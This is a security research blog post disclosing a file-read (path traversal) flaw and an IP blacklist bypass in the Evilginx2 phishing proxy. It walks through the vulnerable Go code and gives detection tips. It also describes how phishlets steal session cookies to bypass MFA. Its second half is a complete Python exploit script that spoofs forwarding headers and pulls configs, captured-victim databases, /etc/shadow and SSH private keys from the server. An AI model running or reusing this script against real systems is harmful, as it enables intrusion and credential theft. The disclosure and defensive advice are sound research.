Evilginx2 LFI and IP Blacklist Bypass Exploit

  • 0DAYALLDAY
  • Dec 17, 2025
TLDR: We identified an LFI and IP Blacklist Bypass vulnerability that has been in Evilginx2 for 2 years. Ths vulnerability allows anyone to access the main configs, loot database, phishlet code, and sensitive files on the system running Evilginx2 without having to worry about the IP blacklist. In some situations this could also lead to a Remote Command Execution (RCE) as root. Exploit Below

Introduction

While experimenting with GitHub's code scanning and remediation features across common red team tools, c0mmand3r and I came across an interesting finding in Evilginx2. GitHub's automated code scanner correctly identified that unsantized user input was being sent to an ioutil.ReadFile() call within the http_proxy.go file on line 555:
553    path := filepath.Join(t_dir, rel_path)
554    if _, err := os.Stat(path); !os.IsNotExist(err) {
555        fdata, err := ioutil.ReadFile(path)
556        if err == nil {
557           //log.Debug("ext: %s", filepath.Ext(req_path))
558           mime_type := getContentType(req_path, fdata)
559           //log.Debug("mime_type: %s", mime_type)
560           resp := goproxy.NewResponse(req, mime_type, http.StatusOK, "")
After manual review, the code scanner was correct and as it was clearly taking user supplied input and passing it directly into a ReadFile() call. Having never used Evilginx2 (Is it pronounced "evil engine x", "evil gin x", or "evil jinx"?), I decided to set it up using real domains in a "real world" setting to see if this vulnerability was reachable and to determine both exploitability and impact. The following sections detail the exploit analysis and several other issues identified along the way that GitHub's code scanner didn't/couldn't catch.

What is Evilginx2?

For those unfamiliar with Evilginx2, it is a tool that red teamers and threat actors can use to aid in phishing. It "transparently" proxies the target domain with an attacker domain in an attempt to trick the user into entering their authentication credentials. It also allows for relatively granular control over content rewriting and client-side application modification via "phishlets". While I won't go into the full details of setting up Evilginx2 for this write up, the simple architecture I used was:


Evilginx2 works by controlling an HTTP (proxy) server and a DNS server. When a "victim" visits the "proxy" (either via clicking on a link in an email or any other method of getting them to navigate to a domain) Evilginx2 forwards the "victim" request to the "real" domain and then forwards the response from the "real" domain back to the "victim". So if the user isn't careful, they may think they are on the "real" domain instead of the "proxy". Since Evilginx2 sits "in the middle" of this connection, it can modify the "real" domain's response any way it wants to. It can also capture anything the "user" does or inputs on the page like login credentials, session tokens, or access cookies.

Evilginx2 primarily consists of phishlets, lures, and what it calls redirectors:

Pishlets An Evilginx2 phishlet is a YAML-based configuration file that tells Evilginx2 how to proxy the "real" target domain. It defines the target domain, authentication tokens, and authentication endpoints so credentials and authenticated sessions can be captured in real time. By stealing session cookies after successful login, a phishlet enables attackers to bypass traditional MFA and reuse the victim's authenticated session.
Lures An Evilginx2 lure is the specific URI that delivers a victim to an attacker-controlled domain running Evilginx2. It typically consists of a specially crafted URL designed to track the victim/campaign and make the victim initiate a legitimate login flow. Once accessed, Evilginx2 proxies the victim to the "real" target domain, enabling credential and session capture.
Redirectors An Evilginx2 "redirector" is not required, but it is recommended as a protection method for your phishing landing pages. The idea behind these "redirectors" is that the redirector will prevent automated analysis/scraping from being able to identify your phishing lure/landing page because the redirector will require some sort of client-side verification either from the user or some other method similar to other anti-bot detection mechanisms like CloudFlare Turnstile etc.
In short, a lure is the link you send to a victim, a phishlet is the configuration for how Evilginx2 will proxy, analyze, and store victim data, and redirectors prevent automated analysis of your lures.

Reaching the Bug

To determine how to reach the vulnerability we need to understand how Evilginx2 works internally. When Evilginx2 starts up, it looks for various required directories and configuration files and reads everything it needs to properly stand up the HTTP proxy server and DNS server.

Note:
The DNS server is interesting. By default, it listens on a low privileged port (53) which requires Evilginx2 to run as root. This is good from an exploitation standpoint because if Evilginx2 is running as root, and we can control the input to the vulnerable ReadFile() call, then we can read any file on the system as the root user potentially turning this into an RCE. For these tests, I wasn't actually using the Evilginx2 DNS server and instead was managing my own DNS externally.

For testing I used the following configuration:
: phishlets

+-----------+----------+-------------+----------------+-------------+
| phishlet  | status   | visibility  | hostname       | unauth_url  |
+-----------+----------+-------------+----------------+-------------+
| example   | enabled  | visible     | attacker.com   |             |
+-----------+----------+-------------+----------------+-------------+

: lures

+-----+-----------+----------------+------------+-------------+---------------+---------+-------+
| id  | phishlet  | hostname       |   path     | redirector  | redirect_url  | paused  |  og   |
+-----+-----------+----------------+------------+-------------+---------------+---------+-------+
| 0   | example   | attacker.com   | /aKMwdbLT  | example     |               |         | ----  |
+-----+-----------+----------------+------------+-------------+---------------+---------+-------+

: config

 domain             : attacker.com
 external_ipv4      : [REDACTED]
 bind_ipv4          : 0.0.0.0
 https_port         : 443
 dns_port           : 53
 unauth_url         : https://www.youtube.com/watch?v=dQw4w9WgXcQ
 autocert           : on
 gophish admin_url  : 
 gophish api_key    : 
 gophish insecure   : false
My example.yaml phishlet contained:
min_ver: '3.0.0'
proxy_hosts:
  - {phish_sub: 'test', orig_sub: '', domain: 'victim.com', session: true, is_landing: true, auto_filter: true}
auth_tokens:
  - domain: 'victim.com'
    keys: ['loggedin']
credentials:
  username:
    key: 'username'
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'
login:
  domain: 'victim.com'
  path: '/index.php'
When a victim clicks or browses to the lure URL: https://test.attacker.com/aKMwdbLT Evilginx2 goes through several checks:

1. Is the domain and sub-domain of the request valid?
YES:Proceed
NO:Blacklist the requesting IP
2. Is the URI of the request valid?
YES:Proceed
NO:Blacklist the requesting IP
3. Is the request part of a session?
YES:Proceed
NO:Set-Cookie
4. Does the lure have a redirector?
YES:Respond with redirector content
NO:Respond with victim domain content

Bypassing the IP Blacklist

When analyzing how to trigger the vulnerability, I identified how Evilginx2 handles IP blacklists and how that blacklist can be bypassed. The following code demonstrates how this works (lines 169-180 in http_proxy.go):
169    // handle ip blacklist
170    from_ip := strings.SplitN(req.RemoteAddr, ":", 2)[0]
171
172    // handle proxy headers
173    proxyHeaders := []string{"X-Forwarded-For", "X-Real-IP", "X-Client-IP", "Connecting-IP", "True-Client-IP", "Client-IP"}
174    for _, h := range proxyHeaders {
175        origin_ip := req.Header.Get(h)
176        if origin_ip != "" {
177            from_ip = strings.SplitN(origin_ip, ":", 2)[0]
178            break
179        }
180    }
First, Evilginx2 sets the "from_ip" variable to the IP from the network connection. Then it analyzes the request looking for any of the highlighted headers. If the request has any of those headers, the "from_ip" is set to that header's value and is what ultimately gets checked against the blacklist. To bypass the blacklist, include and set any of these highlighted headers in your request to a non-blacklisted value.

Hitting the Local File Inclusion (LFI)

Continuing with the analysis, line 471 and line 522 of http_proxy.go shows that we need to have both a valid session and a redirector within our lure to reach the main vulnerability. Finally, starting at line 526, the vulnerability takes the unsanitized URI from our request and combines it with the redirectors directory path to read any files requested within that directory:
523		// session has already triggered a lure redirector - see if there are any files requested by the redirector
524
525		rel_parts := []string{}				
526		req_path_parts := strings.Split(req_path, "/")				
527		lure_path_parts := strings.Split(s.LureDirPath, "/")				
528						
529		for n, dname := range req_path_parts {				
530			if len(dname) > 0 {			
531				path_add := true		
532				if n < len(lure_path_parts) {		
533					//log.Debug("[%d] %s <=> %s", n, lure_path_parts[n], req_path_parts[n])	
534					if req_path_parts[n] == lure_path_parts[n] {	
535						path_add = false
536					}	
537				}		
538				if path_add {		
539					rel_parts = append(rel_parts, req_path_parts[n])	
540				}		
541			}			
542						
543		}				
544		rel_path := filepath.Join(rel_parts...)				
545		//log.Debug("rel_path: %s", rel_path)				
546						
547		t_dir := s.RedirectorName				
548		if !filepath.IsAbs(t_dir) {				
549			redirectors_dir := p.cfg.GetRedirectorsDir()			
550			t_dir = filepath.Join(redirectors_dir, t_dir)			
551		}				
552						
553		path := filepath.Join(t_dir, rel_path)				
554		if _, err := os.Stat(path); !os.IsNotExist(err) {				
555			fdata, err := ioutil.ReadFile(path)			
This is a text book Local File Include (LFI) vulnerability and gives us everything we need to read any file on the system in the context of the user running Evilginx2.

Note:
The comments on lines 523, 533, and 545 have led some to believe that this bug was placed intentionally as a backdoor. However, I would argue, following Hanlon's Razor it appears to be a legitimate oversight when dealing with redirector files/templates.

Header and Referrer Leaks

Another interesting thing we noticed during testing (and discussed elsewhere: https://github.com/An0nUD4Y/Evilginx-Phishing-Infra-Setup) was that Evilginx2 adds a header to the requests it sends to the victim site. This is most likely done as an ‘anti-script kiddie' mechanism and a trivial way for defenders to detect if requests are coming to their site FROM Evilginx2.

However, we did notice one thing that wasn't discussed elsewhere. If you're using a redirector with a lure, and you're redirector directory doesn't contain a favicon.ico file, Evilginx2 will forward that favicon.ico request to the victim domain and NOT clean the Referrer header, thus leaking the full lure URL in the process.

Blue teams should be alerting on requests with X-Eviginx2 headers AND also log the referrer headers of those requests for further analysis, especially on favicon.ico requests.

GitHub's Generate Fix

As we were initially experimenting with GitHub's code scanning, we also wanted to see what patch it would come up with. The following patch is what was automatically generated when we clicked the "Generate Fix" button:
absPath, err1 := filepath.Abs(path)
absBase, err2 := filepath.Abs(t_dir)
if err1 != nil || err2 != nil | !strings.HasPrefix(absPath, absBase+string(os.PathSeparator)) {
  log.Error("lure: invalid path traversal attempt: %", path)
  continue
}
if _, err := os.Stat(absPath); !os.IsNotExist(err) {
  fdata, err := ioutil.ReadFile(absPath)
However, as with most things AI, this patch is incorrect. Properly patching this issue has been left as an exercise for the reader.

Evilginx2 PoC Exploit

The following proof-of-concept exploit can be used to download the Evilginx2 config, the loot database, and any identified phishlets from the loot database all while bypassing any encountered IP blacklists:
#!/usr/bin/env python

import os
import sys
import json
import random
import requests
import argparse
import ipaddress
from posixpath import normpath
from urllib.parse import urlparse

print('''
▄▄▄       ▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄  ▄▄▄▄▄ ▄▄▄    ▄▄▄ ▄▄▄   ▄▄▄ 
███      ███▀▀▀▀▀  ███       ███▀▀▀▀▀   ███  ████▄  ███ ████▄████ 
███      ███▄▄     ███       ███        ███  ███▀██▄███  ▀█████▀  
███      ███▀▀     ███ ▀▀▀▀▀ ███  ███▀  ███  ███  ▀████ ▄███████▄ 
████████ ███      ▄███▄      ▀██████▀  ▄███▄ ███    ███ ███▀ ▀███ 
                                                                 
           Evilginx2 LFI & Blacklist Bypass Exploit
                              By
                    0DAYALLDAY & c0mmand3r

Gr33tz: glitchdigger, DHA & 2600 Crew

More Details: https://www.0dayallday.org/research/LFI_GINX.html

Note:
	Blacklist is automatically bypassed
	Tested: Ubuntu 22.04.5, 24.04.3, 25.04 with go 1.19 and 1.25.5
	Evilginx2 JA3S Signature across all was: f4febc55ea12b31ae17cfb7e614afda8
''')

def get_header():
	
	bypass_headers = ['X-Forwarded-For', 'X-Real-IP', 'X-Client-IP', 'Connecting-IP', 'True-Client-IP', 'Client-IP']

	return random.choice(bypass_headers)

def generate_ip():
	
	while True:
	
		random_int = random.randint(0, 2**32 - 1)
		ip_address = ipaddress.IPv4Address(random_int)

		if not ip_address.is_reserved and not ip_address.is_private:
	
			return str(ip_address)

def send_it(path):

	global target, headers, proxy, cookies

	blacklist_bypass_ip = generate_ip()
	blacklist_bypass_header = get_header()

	headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', blacklist_bypass_header: blacklist_bypass_ip}

	response = requests.get(target+'/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e'+path, headers=headers, verify=False, timeout=3, proxies=proxy, cookies=cookies)
	if response.status_code == 200:
		content = response.content.decode('utf-8', errors='ignore')
	else:
		raise

	return content

def get_args():

	global args

	parser = argparse.ArgumentParser('lfi-ginx.py', formatter_class=lambda prog:argparse.HelpFormatter(prog,max_help_position=40))
	parser.add_argument('-t', '--target', help='Target Lure URL', dest='target', required=True)
	parser.add_argument('-p', '--proxy', help='SOCKS5 Proxy', dest='proxy', required=False)
	args = parser.parse_args()

def setup():

	global target, domain, proxy

	if args.target:
		target = args.target
		domain = urlparse(target).netloc
	else:
		print("Target Required");
		sys.exit(1)

	if args.proxy:
		#proxy = {"http": "socks5h://"+args.proxy, "https": "socks5h://"+args.proxy}
		proxy = {"http": "http://"+args.proxy, "https": "http://"+args.proxy}
	else:
		proxy = None

if __name__ == "__main__":

	get_args()
	setup()

	#Other files to download
	other_files = [
		'/etc/passwd',
		'/etc/shadow',
		'/.ssh/known_hosts',
		'/.ssh/authorized_keys',
		'/.ssh/id_rsa',
		'/.ssh/id_rsa.keystore',
		'/.ssh/id_rsa.pub'
	]

	#disable tls warnings
	requests.packages.urllib3.disable_warnings()

	print('[+] Hitting Lure URL: '+target)

	try:
		#Get Session Cookie(s)
		blacklist_bypass_ip = generate_ip()
		blacklist_bypass_header = get_header()
		headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', blacklist_bypass_header: blacklist_bypass_ip}
		response = requests.get(target, headers=headers, verify=False, timeout=10, proxies=proxy)
		cookies = response.cookies.get_dict()
	except Exception:
		print('[!] Error Accessing Lure URL')
		sys.exit()

	print('[+] Session Cookie(s) Obtained: '+str(cookies))

	try:
		#Find phishlet location
		data = send_it('/proc/self/cmdline').split('\0')
		for i, v in enumerate(data):
			if v == '-p':
				phishlet_path = data[i+1]
	except Exception:
		print('[!] Error Accessing Proc CMDLINE LFI')
		sys.exit()

	try:
		#Find base paths
		data = send_it('/proc/self/environ').split('\0')
		for i in data:
			if i.startswith('PWD='):
				base_path = i.split('=')[1]
			if i.startswith('HOME='):
				home_path = i.split('=')[1]
	except Exception:
		print('[!] Error Accessing Proc ENVIRON LFI')
		sys.exit()

	phishlet_path = normpath(base_path+'/'+phishlet_path)

	try:
		#Get Config
		config_file_name = domain+'_evilginx_config.json'
		config_data = send_it(home_path+'/.evilginx/config.json')
	except Exception:
		print('[!] Error Downloading Evilginx2 Config')
		sys.exit()

	with open(config_file_name, 'a') as file:
		file.write(config_data)

	print('[+] Phishlet Directory: '+phishlet_path)
	print('[+] Binary Directory: '+base_path)
	print('[+] User Directory: '+home_path)
	print('[+] Evilginx Config saved to: '+config_file_name)

	try:
		#Try to find loot database
		for i in range(1, 11):
			try:
				data = send_it('/proc/self/fd/'+str(i))
			except Exception:
				pass
			if 'phishlet' in data and 'sessions' in data:
				data_file_name = domain+'_evilginx_data_db.txt'
				with open(data_file_name, 'a') as file:
					file.write(data)
				print('[+] Evilginx Data DB saved to: '+data_file_name)
				break
	except Exception:
		pass

	phishlets = []
	for line in data.split("\n"):
		if '{' in line:
			data = json.loads(line)
			if data['phishlet'] not in phishlets:
				phishlets.append(data['phishlet'])

	for phishlet in phishlets:
		try:
			#Try to find download found phishlets
			data = send_it(phishlet_path+'/'+phishlet+'.yaml')
			if 'proxy_hosts' in data:
				phishlet_file_name = domain+'_evilginx_phishlet_'+phishlet+'.yaml'
				with open(phishlet_file_name, 'a') as file:
					file.write(data)
				print('[+] Phishlet '+phishlet+' saved to: '+phishlet_file_name)
		except Exception:
			print('[!] Error Downloading '+phishlet+' phishlet')
			pass

	for local_file in other_files:
		try:
			#Try to download local file list
			if '.ssh' in local_file:
				full_path = home_path+local_file
			else:
				full_path = local_file
			data = send_it(full_path)
			local_file_name = domain+'_'+full_path.split("/")[-1]
			with open(local_file_name, 'a') as file:
				file.write(data)
			print('[+] Local File '+full_path+' saved to: '+local_file_name)
		except Exception:
			print('[!] Error Downloading '+full_path+' local_file')
			pass
Share this post